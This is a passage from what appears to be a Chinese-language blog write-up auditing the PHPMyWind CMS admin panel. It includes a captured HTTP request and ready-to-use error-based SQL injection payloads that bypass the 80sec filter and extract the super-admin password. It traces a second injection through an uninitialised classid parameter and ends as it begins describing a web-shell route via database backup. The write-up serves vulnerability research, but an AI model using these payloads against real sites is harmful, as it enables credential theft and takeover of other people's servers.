文章插图
这个很明显是80sec的过滤
那么我们可以直接使用语句绕过,毕竟这个过滤也很老了
虽然这里有改动,因为过滤问题这里的SQLmap无法跑出Sql注入,百度下找到一个绕过的80sec语句妥妥的就绕过了 。
注入的数据包
GET /admin/info_update.php?id=1 HTTP/1.1Host: 192.168.32.136Cache-Control: max-age=0Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (windows NT 10.0; Win64; x64) AppleWebKit/537.36 (Khtml, like Gecko) Chrome/74.0.3729.157 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Cookie: PHPSESSID=7s67quel3o522u240qquhlpo32Connection: close然后构建的语句是:
AND id in (char(@`'`), extractvalue(1, concat_ws(0x20, 0x5c,(select password from pmw_admin limit 0,1))),char(@`'`))
直接拼接在id传参的后面,可以通过报错注入显示超管的密码 。
如果要账号就改子查询里面的语句

文章插图

文章插图
通过这个方法,我发现了这个CMS在书写的时候,很多功能差不多的模块核心代码不会变
这里指出的这个SQL注入代码属于核心代码 。
只要后台文件名为
***_update.php都存在这个问题 。
涉及的文件特别多 。
好多文件都中招!
六.SQL注入 2
后面发现的这个SQL注入也是和这个差不多,也属于可以好多文件中招
我们先进行代码分析吧,打开admin目录下面的soft_save.php文件

文章插图
我们发现第22行有一个函数,我们来看看这个函数干了什么~
这个函数的定义在admin_func.php这个文件的第1315-1417行 。

文章插图
这里定义的这个函数,第一个传参是cid,然后因为我的登陆的账号并不是超管,所以执行了第43行的语句
很明显,这个函数直接将cid拼凑进了SQL语句
那么这个地方如果我们能够控制变量cid,我们可能就可以对这个CMS进行SQL注入,并且这个变量cid都没有被单双引号包裹
如果存在注入,我们都不需要去考虑魔术引号带来的烦恼 。
我们看看这个$cid是由什么控制的,是由函数调用时的传参,
那么就是soft_save.php第22行的变量classid 。
然而很明显这个$classid没用进行初始化,并且在第二次初始化前就先执行了!!!
然后拿出我写的第一个SQL注入语句轻松拿下 。

文章插图
我来说下怎么注入吧,访问后台的软件下载管理

文章插图
然后点击右下角的添加软件信息

文章插图
然后将带*号的栏目填上数据,因为有前端检测 。

文章插图
然后添加,抓包就行,然后将我语句的Payload 加在classid传参就行
AND model in (char(@`'`), extractvalue(1, concat_ws(0x20, 0x5c,(select password from phpmywind_db.pmw_admin limit 0,1))),char(@`'`))可以直接通过报错注入显示超管的密码 。如果要账号就改子查询里面的语句

文章插图
然后我们会发现这里实际上是调用了IsCategoryPriv函数传参所没有初始化并且拼接进的SQL语句没用使用引号包含造成的SQL注入 。
使用了这个函数,然后传参没用初始化的文件也有好多 。
七.GetShell 1
后台SQL注入似乎危害不够,进了后台不应该是想着Getshell吗?
那我们来看看我找到的Getshell方法 。
Getshell 一(通过into_dumpfile):admin/database_backup.php这个文件的第43行出现的一个switch,于是乎action传参决定执行哪个功能 。
第238行-269行

文章插图
这里只拦截了删除语句,以及去除反斜杠还有去空格,没有拦截其他的语句,那么我们再去Execute这个函数看看,这个函数在include/mysqli.class.php的166行被定义
推荐阅读
- SQL注入获取数据的几种原理
- 这可能是最全的SQL注入总结,很有用
- 注入与攻击测试篇 Kali Linux
- 云龙县,多措并举 为茶业发展注入新活力
- 何谓SQL注入,这个漫画告诉你
- 再一次重现sql注入,黑客技法详解
- Python操作db2数据库时如何防止SQL注入
- 黑客工具sqlmap,带你了解什么是sql注入
- linux ubuntu16.04下搭建sqli-labs注入环境
- 黑客必学知识系列之access注入,带你深入了解黑客的世界
